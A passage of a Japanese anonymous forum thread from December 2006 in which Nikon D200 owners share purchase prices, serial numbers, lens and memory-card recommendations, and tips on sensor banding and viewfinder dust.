196 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 14:41:01 ID:AYYR5vK70

す　れ　地　概　い　<<　　気　地　概　胃

197 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 18:13:07 ID:iDFxLnxS0

今日、Ｄ２００を買ってきました。
年内に欲しいと思って昨日からあちこち巡り歩いたんですが、
ポイント付きとは言え１８万円台とか在庫無しとかばっかり。
でも最後に寄った地元のキタムラで、特別値引き１５８０００円というセール。
ネット通販以外では最安＆店頭在庫だったもんで即決でした。

で、キタムラに無かったＭＢ－Ｄ２００を買いにエイデンに行ったところ、
なんと、かのＶＲ１８－２００が１本だけ入荷してました。
店の人は、きのうから並べているんですが誰も気付いて無いですね・・とか。
完全に予算オーバーだったけど、この際カードを使い買ってしまいました。

・・・・まさかＤ２００とＶＲ１８－２００が一緒に買えるとは。
今年の幸運をきっちり使い切った感じです。

198 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 18:18:39 ID:YWzrC+j00

>>197

オメ！

>今年の幸運をきっちり使い切った感じです。
今年はもう残り少ないのでもーまんたい。

199 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 18:27:53 ID:rals/UCp0

>>197
オメ！
来年の運を使ってなければいいけどなｗ

200 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 19:03:30 ID:IwtLKnY+0

D300では電池室を大きくして、バッテリーグリップなしで単三*6本が使えるようにしろ。

201 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 19:08:02 ID:sfeluvLVO

>>197オメ！
私も昨日三宝で155kのところ、D70・24-120を下に出して105kで購入しました。
店頭在庫のVR70-300を衝動買いしそうになったけど、正月明けに資金が残っていたらと思いとどまりました。
年明けに予約したいです。

202 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 19:49:49 ID:qtkL8B6l0

D200
ISO800・1000でも、被写体次第では、十分実用的だ。

203 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 19:52:14 ID:sm8/tRtc0

>>197
早まったな、この野郎！ｗ

204 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 20:02:50 ID:tCmr2v6HO

>>197
ったく、そんなレンズ得意気に付けてんなよ・・D200が泣くよ。

205 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 20:24:19 ID:IGw1vt7g0

最近D200買った人に質問！
シリアルナンバーはどの辺まで進みましたか？
同時発売のVR18-200は60万台行ってるらしいですね。

206 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 21:38:03 ID:SXMv5iNH0

昨日買ったけど、2036＊＊＊です。
レンズキットだけどね。
ちなみにファームウエアは1.01と1.00でした。

207 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 21:42:20 ID:DqPR357X0

>>206
それ、古過ぎねくね？

地方のキタムラで12月10にボディーのみ買って、2092なんだが。

208 ：201：2006/12/24(日) 21:49:35 ID:f54DSpwH0

うちは2097***だよ

209 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 21:57:33 ID:rals/UCp0

7月に買って2068***

210 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:18:14 ID:SXMv5iNH0

あうぅ、長在つかまされた。ｳﾜｰﾝ(AA略)
ボデだけ買えばよかったかな？

211 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:26:50 ID:DqPR357X0

ところでさ、コマンドダイヤルとなりの、AF-ONボタンってどんな時使うの？
シャッター半押しとの違いがわからん。

212 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:32:32 ID:qtkL8B6l0

>>211
置ピンの時、便利だよ。

213 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:32:36 ID:IGw1vt7g0

そろそろ10万台突破しそうですね。
うちのは昨年12月購入の2011***で、シマ対策調整済みです。
>>204
糞レンズ付けっぱなしでＤ200泣かしてますw
この組み合わせで写真撮るのが楽しいから、これでいいノダ！
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20061224222811.jpg

214 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:33:25 ID:SXMv5iNH0

>>211
露出もロックできると思われ

215 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:36:39 ID:QWJkyDB50

>>211
シャッターボタンでAF効く設定なら不要かもね

216 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:50:00 ID:1dIEbc9b0

>>206
先週火曜日購入で2095***
ファームはABともに2.0ですた。

217 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:50:45 ID:MmV8lbSE0

>>213
>そろそろ10万台突破しそうですね。
ですね・・・って20xxxxxｘは日本仕様だったよね？
世界的には5倍くらいは売れているのかな？

>うちのは昨年12月購入の2011***で、シマ対策調整済みです。
うちのは2001***で、実は、やっと今頃、対策調整中で手元に無い所でした。

・・・って写真見たら、何とご近所さんじゃないですか！

218 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 22:53:31 ID:iDFxLnxS0

漏れのは２０９９＊＊＊で、ちょっと惜しい№でした。
どこかに大台のキリ番が出ている頃ですね・・・

219 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 23:26:24 ID:JFMPE8Bx0

Ｄ４０と比べるってのはご法度か？

220 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 23:38:08 ID:IGw1vt7g0

>>219
どんな比較なの？
タブーはないと思うけど・・・・・

221 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 23:45:11 ID:IGw1vt7g0

>>217
デッカイドーのどこかに生息していますが札幌市民ではありませんｗ
ニコソ札幌ＳＣは対応がいいので気に入っています。
今回もシマシマと言っただけですぐに修理受け付けてくれました。
9月頃でしたけど。
イルミの時期の大通公園はカメラだらけですね。
D200の同志諸氏も何人か見かけましたよ。

222 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 23:59:47 ID:QMCxDsnI0

さすがだ。

223 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 01:10:07 ID:tS5P/ATm0

>>213
ISO400で電飾を含む夜景のうp、乙。
この条件の写真でも今は平和に過ごせるのが嬉しいね。
去年の今頃は、１スレが１日持たなかったような気がする。

224 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 01:45:41 ID:hTaXOaDZ0

縞は現行でも古いのでも出るよ。
ついでにISO100でも出る。
簡単な実験方法。
日暮れ時の海岸に行って浜辺と水面と海を-1.3EV/RAWで撮って見る。
浜辺は黒く写るから、エディターで明るさをあげてみる。
黒い場所から砂浜が浮き上がって来るよ、縞入りで。
縞は見えづらくなるが確実に出る。
もっとも、同じ事を他社のデジ一でやってみると面白い。
某社の人気機種はたしかに縞は出ないが
ISO100でも暗部には偽色出まくりであることがわかる。
所詮、現時点でデジカメ画像は暗部に偽色が出たり、
変なノイズが入ったりするもんだよ。
もちろん、程度の差はあるけどね、
調整後のD200はそんなにひどいとは言えないと思うよ。

225 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 02:07:07 ID:OznKUvfe0

縞の出ないK10Dを買ったほうがいいな。

226 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 02:37:08 ID:6p4KMJ/E0

K10Dって秒5コマなの？

227 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 04:56:25 ID:mYzQhzc80

秒5コマ稼ぐために縞と睫がついてくるんじゃ本末転倒だよな

228 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 07:34:14 ID:MlyEOO0L0

秒5コマでピントの合わないのも他社じゃあるみたいだけどね
http://hobby7.2ch.net/test/read.cgi/dcamera/1166736157/

229 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 11:16:55 ID:LwG3CoBD0

【特別企画】銚子電鉄を撮る
http://dc.watch.impress.co.jp/cda/special/2006/12/25/5292.html

230 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 11:42:40 ID:oMfhWN+mO

新品のD200にしようか中古のD2Xsにしようか迷ってます。どちらがいいのかな？

231 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 11:44:26 ID:6CFy2Nxo0

購入1ヶ月、最近RAW撮りを始めました。
CFがレキサーの133-1Gなんで、RAWだと70枚も撮れないので、エクストリームⅡの2G
を買い足そうと思ってます。？Ⅱを買うのは予算的な問題からです。
連射は殆ど使いませんが、RAW撮りのレスポンス的にⅡでも問題ないでしょうか？

232 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 11:45:59 ID:mR4gvmb40

>>231
連写しなければPQIの8GB。
2ﾏｿでお釣りくる。

233 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 11:49:38 ID:tS5P/ATm0

>>224
20Dが出た頃、現像時に夜景をEV+補正すると夜空に...
ってのが話題になったね。
どんなカメラでもセンサーの限界あたりの出力は無理に階調持たせずに
少し余裕を見て黒つぶし・白飛ばしが無難。

234 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 12:23:01 ID:tS5P/ATm0

>>231
D200でのCFのアクセス速度比較記事
ttp://www.robgalbraith.com/bins/multi_page.asp?cid=6007-8197

次回テンプレに追加おながいします。ってテンプレ無くなってるか...

235 ：231：2006/12/25(月) 12:47:23 ID:6CFy2Nxo0

レスありがとうございます。すみませんエクストリームⅡではなくウルトラⅡでした。ごめんなさい。

>>232
8GBですか(^^; そうですよね、トランセンドとか安目のメーカーで大容量もありましたね…。忘れてました。
PQIのサイト見てきましたけど、結構早い速度出るんですね。価格では8GBの値段情報が載ってませんでした
けど、今度アキバの店頭で見てきます。ありがとうございます。
>>234
エクストリームⅢとウルトラⅡだと違いがあるのはわかりますが、数字を見て納得できても実感が沸きませんです…。
今のレキサー133に何の不満もないためでしょうけど…。でも、あんまり大差なさそうですね。特に僕みたいに連射
殆ど使わないと、実感できないレベルなのかもしれませんね。ありがとうございました。

236 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 13:32:41 ID:mR4gvmb40

>>235
>PQIのサイト見てきましたけど、結構早い速度出るんですね。
いや、実際は酸ウルトラ2とくらべたら遅いよ。
速度に対しては期待しないでください。
ちなみに3ヶ月くらいこれ使ってるけど、今までエラーなどは無いけど、
信頼性を求めるなら、価格がこなれているウルトラ２がお奨め。

237 ：235：2006/12/25(月) 14:19:35 ID:ZpqxM00u0

>>236
おお、そうなんですか。実際、8GBは安くてもちょっと手が出ない（8GB欲しかったら4GB×2とか）ので
トランセンドの4GBかPQIの4GBと考えてました。ウルトラⅡ2GBもかなり安くなりましたしね。
僕は信頼性重視な性格ですが、安いメーカーが信頼性に欠けてるという決定的なソースが少ないのが、
揺れている原因の一つです（＾＾；　まぁレキサーやサンデスクに限っては見たことありませんけど…。
あきばの店頭でじっくり見てきます。信頼性…う～む…。

238 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 14:47:11 ID:mR4gvmb40

>>237
PQI買うならここ安いよ。
アキバならもっと安いとこあるかもしれんけど。
http://www.uchida-sj.co.jp/kazamidori/cgi-bin/shop/goods_list.cgi?CategoryID=000005

ウルトラ２買うならドンヤかな。

239 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:07:57 ID:U5c7T20A0

D200を買って早、３週間。
レンズは18-70なんですが、どうしても画質のシャープさが甘いのが気になります。
RAW撮り、アンシャープマスク（適度に）でも納得いきません。

こんな私にはどんなレンズがお似合いですか？

240 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:20:41 ID:ZPQ3x1pR0

シャープさを求めるなら全レンズ中最高峰であるVR200mmF2がお薦め。

241 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:22:25 ID:f5W76UeV0

ソースは？

242 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:23:12 ID:ZPQ3x1pR0

デミグラス。

243 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:24:39 ID:U5c7T20A0

家族スナップ、風景、運動会、などなど。

244 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:25:10 ID:qSLocci70

>>239
先生、ところで仕上がり設定はどうなってる？

245 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:31:27 ID:U5c7T20A0

>>244
いろいろやってみた。
鮮やかに、は、色合いが派手すぎて好みじゃないので却下。
輪郭補正も強めとかしてみたが、今度はノイズが目立ってしまって・・いそ１００でも・・。
D２００のローパスじゃよっぽどのレンズじゃなきゃ駄目なのかな？

246 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:34:01 ID:U5c7T20A0

連質問、ご勘弁を。

水平取るときって、今のカメラもシューに水準計でokだよね？

247 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:36:45 ID:0zYArWtg0

>>239
ズームならf2.8クラスの高いヤツ。
究極的には単焦点。

248 ：名無CCDさん＠画素いっぱい：2006/12/25(月) 22:41:29 ID:qSLocci70

>>245
それプリントしてる？プリントして銀塩の写り方と比較してみるといいよ。
等倍でのシャープさに気取られるのはよろしくないかと。

249 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 00:03:02 ID:X+6QCUQe0

>>239

ＡＦニッコール　50mm　F1.8DをF5.6からF7.1くらいで撮影してみたら
満足いくよ。撮影距離は５ｍ未満が良いかな。

250 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 01:03:47 ID:Xdcqi8CcO

昨日D200買いました。
まったくの素人ですが、楽しみながら上達していきたいと思います。どれ、まずは用語から覚えますか。

251 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 05:15:52 ID:Xjz5zvsd0

おれっちのPCのモニタで見る限り仕上げノーマルが
一番解像感あるけどな。
鮮やかに、にしてみたら、人物の肌や物体の輪郭が汚くて
コンデジ画像みたいになった。

252 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 06:14:38 ID:aoOtCu3T0

>>239
三脚使ってないとは言わないよな？

253 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 09:03:48 ID:N7CPgQkDO

>>239
自分が使ってきたﾚﾝｽﾞの中でｼｬｰﾌﾟさに満足できた
ﾚﾝｽﾞはｼｸﾞ50㎜ﾏｸﾛ、ﾀﾑ180㎜Diﾏｸﾛ、ﾆｯｺｰﾙ24/2.8
ﾆｯｺｰﾙAF-Sｻﾝﾖﾝ、ｼｸﾞDGｻﾝﾆｯﾊﾟ
そこそこｼｬｰﾌﾟ
ﾀﾑ28-75/F2.8Di、ｼｸﾞ17-70ﾏｸﾛ、VR70-200/F2.8
いまいち
VR18-200(だけど便利)
駄目一回使って売った
ｼｸﾞAPO70-300DG
やはり単焦点やﾏｸﾛ系はｼｬｰﾌﾟで
高倍率ｽﾞｰﾑはそれなりです

254 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 15:51:15 ID:zwPE18uh0

俺的には70-200/2.8かなぁ
200-400は買ったけどなんか思ったほどシャープじゃなかったんで調整中

255 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 16:54:45 ID:6zRYI2x90

単焦点には負けるだろうが、17-55/2.8も良いぞ。
常用化で、グリップ付きのD200に良く似合うのも良い。
高いけどね。

256 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 19:24:50 ID:r5/hwpLO0

>>254
200-400は高いのに本当に駄目レンズだよね。俺も買って損したよ。

257 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 20:13:23 ID:AG9Y1OkG0

>254,256
スレ違いですまんが、200-400って、あんまり良くないの？
資金不足で300/2.8+テレコン買ったんだけど、本当は200-400が欲しくて、
お金を貯めようかと思ってるんだけど・・・
一度、使ってる人から「ちょっと甘いよ。やっぱり単焦点の方が全然良いよ」なんて言われたことも
あったけど。

258 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 20:26:25 ID:52n+xc6W0

200-400は滅茶苦茶いい。とてもズームとは思えない。
キヤノネットが必死で悔しがるだけの事はある。

ただ、サンニッパと比べて画質比較するのは常識的に考えて無しだろ。

259 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 21:02:50 ID:4DZi4Fq00

D40スレに200-400VRのサンプル上がってるから見てみれば。

260 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 21:59:11 ID:mjIuGDtb0

Ｄ２００とＤ４０両方使ってるヒトに聞きたいです
とりあえず最初に買っとけっていえるのはどっち
ちなみに被写体は風景（夜景）、スナップ、マクロまで
ネイチャーはやらないです

261 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:01:19 ID:EHn9XG5D0

最初はD40から始めればいいじゃん。
いきなりD200はハードル高すぎる。

262 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:12:01 ID:AcGpc4j60

>>260
D40はズームマイクロとかが使えないから持ってないし買う予定もないけど、肝心なのはレンズだし、
タイムラグは決定的には問題にならない用途なら、D40で十分以上でしょう。
ボディーの差額で、必要なレンズや、メディアや、外付けHDDとかを買うほうが先決問題。
風景・夜景用の三脚も、D200とちゃちな三脚を組みあわせるより、D40にしっかりしたのを
組みあわせるほうがはるかに有益。
D200は、他は大概持っているか、必要なら買い足す予算があって、その上で考えるクラス。

263 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:16:23 ID:7PkJlxSf0

>>262
>D40はズームマイクロとかが使えないから

キミはAFできないと写真も撮れないのか？

264 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:22:41 ID:IeJDMpRo0

AF無しに動き回る子供や接近してくる猫、飛んでる鳥、飛行機をポンポン撮れる腕前があれば、ね。

265 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:23:01 ID:AcGpc4j60

>>263
使えるシーンでは使うという柔軟性が欠損している人には関係ないレベルの話なんで悪しからず。

266 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:24:51 ID:AcGpc4j60

>>264
さすがにズームマイクロではそういう使い方はしないけど。

267 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:26:32 ID:IeJDMpRo0

ズームマイクロ専用なんだ？

268 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:27:48 ID:AcGpc4j60

>>267
？　何の話？

269 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:31:12 ID:IeJDMpRo0

さあ？

270 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:42:06 ID:mjIuGDtb0

みなさんスレありがとう
今は置きピンしか出来ないレンジファインダー使ってるんで
ＡＦは外せないです（動きのあるモノも撮りたい時あるので）
「カメラはレンズでキマル」は心得ているつもりです
が、デジの場合は撮像素子のチューニングなんかが絡んできますよね
良いレンズでも相性問題はでないのですか

271 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:44:32 ID:h3FTjb4M0

良いレンズはどのカメラでもいい結果を出すよ。

272 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:50:22 ID:AcGpc4j60

>>270
レンズとの相性ではないけど、6MPのほうが偽解像・色モアレが出やすくて、シャープな
レンズほど目立つことがあるから、市街地の風景では要注意度が高いのは事実ですね。
その辺が揉んだになることが多い使い方なら10MPのほうが無難かと。

273 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:50:46 ID:mjIuGDtb0

Ｄ２００の予算でＤ４０と良いレンズ捜します

274 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 22:50:56 ID:AcGpc4j60

>>272
ぐわっ　揉んだ　→　問題

275 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 23:09:41 ID:YLIGLQOy0

>>274
誤爆だったのかｗ

(; ･`д･´)？？になってたよｗ

276 ：名無CCDさん＠画素いっぱい：2006/12/26(火) 23:34:33 ID:AcGpc4j60

>>275
誤爆ではないミスタイプ訂正(｀･ω･´)
ｵｵｷﾅｼﾞﾃﾞﾊｶｹﾅｲｶﾞｲﾏｻﾗﾛｸｴﾑﾋﾟｰﾆﾊﾓﾄﾞﾚﾅｲﾝﾀﾞｯﾀﾘｽﾙ(´；ω；｀)ｳｯｳｯｳｯ

277 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 02:28:40 ID:KB8cSS2d0

http://www.16-9.net/lens_tests/14mm/14mm_test_5.html
EF14mmは単焦点なのに収差・周辺流れとも
シグマ12-24mmズ－ムに完敗。
キヤノンクオリティに乾杯！！！

278 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 09:09:13 ID:8RpKnYsWO

279 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:23:06 ID:ooBAA+Tv0

初めまして。
シンクロターミナルのキャップをなくしてしまったのですが、手に入れる方法はありますでしょうか？
ニコンのカスタマーに申し込むのが一般的ですか？

280 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:26:36 ID:mCLwu3Qr0

>>279
サービスセンターにはいつも在庫してるみたいですが。

281 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:27:54 ID:18STDqNQ0

>>279
SCもしくは淀などの大手量販店には在庫があります。

282 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:30:03 ID:zxCqRUmr0

>>279
近所のカメラ屋に頼むのが普通。大きい店なら置いてるし。

つか俺キャップ外したまんまだし、次機種はレリーズ穴復活きぼんｗ

283 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:37:23 ID:p+MAx2xM0

キャップなんて、邪魔なだけだろ。
いらないって

284 ：名無CCDさん＠画素いっぱい：2006/12/27(水) 23:41:52 ID:mCLwu3Qr0

>>283
でも売り物の防滴がきかないんじゃない？
まあ、キャップなしだと水が進入するものかどうかは知らないけど。

285 ：279：2006/12/27(水) 23:56:30 ID:ooBAA+Tv0

皆さん素早いレスありがとうございます。
近所のキタムラにでも注文してみることにします。
SCやヨドバシに近ければいいんですけどね、、、

286 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 09:25:27 ID:Xqz7pWQV0

D2シリーズみたいにシンクロキャップの収納場所作って欲しかったよね。
スペース在りそうなのに付いて無いのは、それが誰かの特許・実用新案で
何処かにライセンス料払わなくてはならないってものなのかなぁ。

287 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 11:23:34 ID:6N1fCjBe0

昨日35mmF2D買った。
これで、うちのD200もお散歩カメラになりました。
このレンズ、たまたま寄った店にはあったんだけど、
在庫切らしてるところも多いね。
ニコンのオンラインショップでも在庫切れだし。
ディスコン？リニューアルすんのかな？

288 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 11:28:40 ID:Xqz7pWQV0

>>287
単に需要に供給が間に合わないだけだと思う。
この現象はD100発売の頃から既に始まっていた。

289 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 17:16:42 ID:mjwrpL2M0

漏れも仲間入りさせてくださいな。
今日届いたボディが2097***のA2.00, B2.00。
いろいろ言われてるけど、当面タマは純正12-24とVR18-200の二本立てで逝こうかと思ってます。
出動は散歩と登山です。(重いけど)

海女のキャンペーンで15万代後半。
後で10%近くポイントバックされるはずだから、それでアクセサリでも買おうかと思ってます。

本体アクセサリで「是非これもっと毛」っちゅうのがあったら御指南いただきたく。

290 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 19:03:26 ID:1GFAt77x0

>>289
登山に使うなら、すぐに充電できない状況があると仮定して
まずは予備バッテリーでしょ。
重いのとかかさばるのが気にならないなら、MB-D200とか。

291 ：289：2006/12/28(木) 22:19:02 ID:AfvBp5510

うぃっす。
やっぱ小屋泊まりでも電源が確保できないから、やっぱ大喰らいD200は電池が最初の候補ですかね。
しかし流石にMB-D200はちょっと。w
EL3eの容量が倍くらいになってくれたら良いんですけどねぇ...。ﾑﾘｶ

メディアはフォトストレージよか枚数持った方が楽だし。

本体アクセサリではないですが、目下の悩みはケースです。
コンパクトでありながらそこそこの耐衝撃性と防塵性, 耐候性を持ってる奴が見あたらなくって。

292 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 22:21:34 ID:yjM0nGd20

しかしVR70-200って電気喰うんだな。超音波モーターがでかいからかな

293 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 22:46:18 ID:LeL4WDfBO

>>291
オメ！。自分も山屋で単独縦走でもD100に12-24付けて持ってってるよ・・ひたすら重いけど、
やっぱいい絵が撮れるよ。
D200だと更に覚悟がいるなw～まぁ水1Lを取るか感動画質を取るかで悩むべしww

294 ：名無CCDさん＠画素いっぱい：2006/12/28(木) 23:16:49 ID:DBdygi/T0

>>293
山で12ミリですか、想像しただけでいい絵が撮れそう。

295 ：名無CCDさん＠画素いっぱい：2006/12/29(金) 00:17:30 ID:vyeQxlXr0

ニコ爺もキヤノンは素晴らしい。と言う現実を認めたほうが良いと思う。
やっぱり白レンズは大人気だね！
http://zetubou.mine.nu/timer/file/bomber32603_d20.jpg

ピントの速いキヤノンなら決定的瞬間も逃さないし。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061119004339.jpg

296 ：名無CCDさん＠画素いっぱい：2006/12/29(金) 00:39:21 ID:huHc/Uuk0

>>295
うん、キャノンもすばらしい商品つくってるよね。
でもこの流れで言うことじゃないと思うよ。

297 ：名無CCDさん＠画素いっぱい：2006/12/29(金) 05:19:34 ID:qPnP3S7m0

Picasa2 D200RAW対応ｷﾀﾜｧ*･゜ﾟ･*:.｡..｡.:*･゜(n‘∀‘)ηﾟ･*:.｡. .｡.:*･゜ﾟ･*

298 ：名無CCDさん＠画素いっぱい：2006/12/29(金) 21:46:33 ID:FKihjwKT0

対応遅すぎだろ
使うのやメタよ

299 ：名無CCDさん＠画素いっぱい：2006/12/29(金) 21:58:28 ID:djNcuuCR0

>>de?

300 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 00:02:30 ID:ZJGLZP0r0

>>293
> 水1L
大きいよね。

301 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:03:15 ID:TjotADtu0

ファインダーの中のゴミがどうやっても取れん･･･。
どうしたらいいんだろうか？

302 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:08:01 ID:ZJGLZP0r0

>301
つ　サービスセンター

303 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:09:04 ID:b6sDWUT20

>>301
ファインダーの中にあるようにみえるゴミは
ミラーについてることが多いからレンズキャップをあけてミラーめがけて息を強くかけるといいよ

304 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:10:50 ID:ZJGLZP0r0

>>303
どこがバグるとそういう詰まらない出鱈目を書くようになるのかね？

305 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:11:44 ID:TjotADtu0

>>303
ブロアーで頑張ったんですが、ダメでした･･･。
もうちょっと踏ん張ってみます。

306 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:12:57 ID:TjotADtu0

>>304
もしかして、ブロアーでもダメなんですか？

307 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:14:36 ID:ZJGLZP0r0

>>305
そうやって神経質になってミラーボックス内にゴミ入りの空気を吹き込みまくるのが
受光体上にゴミが乗る有力な原因の一つ。神経症の人だと止められなくなるのかな？
（ー人ー）なむー。

308 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:18:07 ID:TjotADtu0

>>307
なるほどぉ。
まぁ映りに関係なさそうなんで、そう神経質にはなってないですが
確かにブロアーの中に埃が入っていれば、余計酷いことになりそうですね。
勉強になりました。

皆さんはファインダーにゴミが映りこんでいたら
どうされるんですか？

309 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:24:09 ID:ZJGLZP0r0

>>308
ミラーボックス側（スクリーンの下）なら、空気が綺麗な場所で、「ミラーボックス内から吹き落とす」。
それでも駄目なら、サービスセンターで受光体の清掃のついでに頼む。
といっても、必要にならないので頼んだことはなかったりする。

310 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 01:41:54 ID:TjotADtu0

>>309
なるほど。ありがとうございます。
一眼デジカメ初めてなもんで、
右も左もわからなかったので。
どうもでした。

311 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 06:08:25 ID:0mHBLMAP0

>>300

大きいよね。
でもそれがデジカメ沼にハマった者の背負った業だ。

312 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 08:09:23 ID:w1tMeACE0

山岳写真なんて、デジカメがなかった時代は67以上が当たり前で
645が画質上許せる最低ランクと言われてみんな頑張って担ぎ上げてたのに、
D200程度で重いだなんて、ちと体力無さ過ぎじゃないか？・・・

313 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 09:14:48 ID:XlgGobYV0

でた
自慰

314 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 10:25:02 ID:H0ZDLKX00

>>312-213
フィルムも悪かったので大きなフォーマットに汁と言うのは
分からんでもないのだけど、おそらく時代背景もある。

池中玄田の時代ぐらいまでは、写真の世界も過激だった。
スナップなんて相手にぶん殴られるぐらいの勢いで撮れなんて
先輩に言われた。

315 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 11:21:21 ID:YvnU5Zfn0

>>301
ファインダー内のゴミには2種類あって、フォーカシングスクリーンの裏に付いてる物であれば
SCで掃除出来る。やっかいなのはプリズム側に入り込んでしまった物。
これは工場送り、バラしての作業となり1週間かかる。

ブロアの吹き過ぎでゴミを送り込んでしまうのね。俺もでしたよ　('A`)
ゴミだらけだったファインダーが今ではキレイサッパリ。
気になってるんだろうから、1週間使うの我慢して預けるといいよ。

316 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 12:47:15 ID:TjotADtu0

>>315
ありがとうございます。
使ってて相当気になったら、預けてみたいと思います。

317 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 13:40:25 ID:YvnU5Zfn0

あ、保証期間内？
工場送りのバラし掃除は、保証期間内なら無料だが
有料になると1万位の金額らしい。

318 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 15:02:19 ID:/CZLpR9CO

>>312
山岳写真屋も山経験を積んだ上で、撮影重視で割切って装備や行動範囲を選んでるわけだよね。
同様に、トータルで山を楽しむ普通の山屋にとって、必要最低の装備の中に1kg以上の一眼を入れるのは
結構悩むもんだよ。20Kg担ぐ単独はもちろん、例え日帰りでもね。
でもその苦労と期待のセメギ合いが面白いんだよな～明らかに過剰装甲wのD200を、
期待を胸に体力を犠牲にして担ぎ上げて録る・・コンデシ5個分?まぁ端から見るとなんて自虐的なコトかww
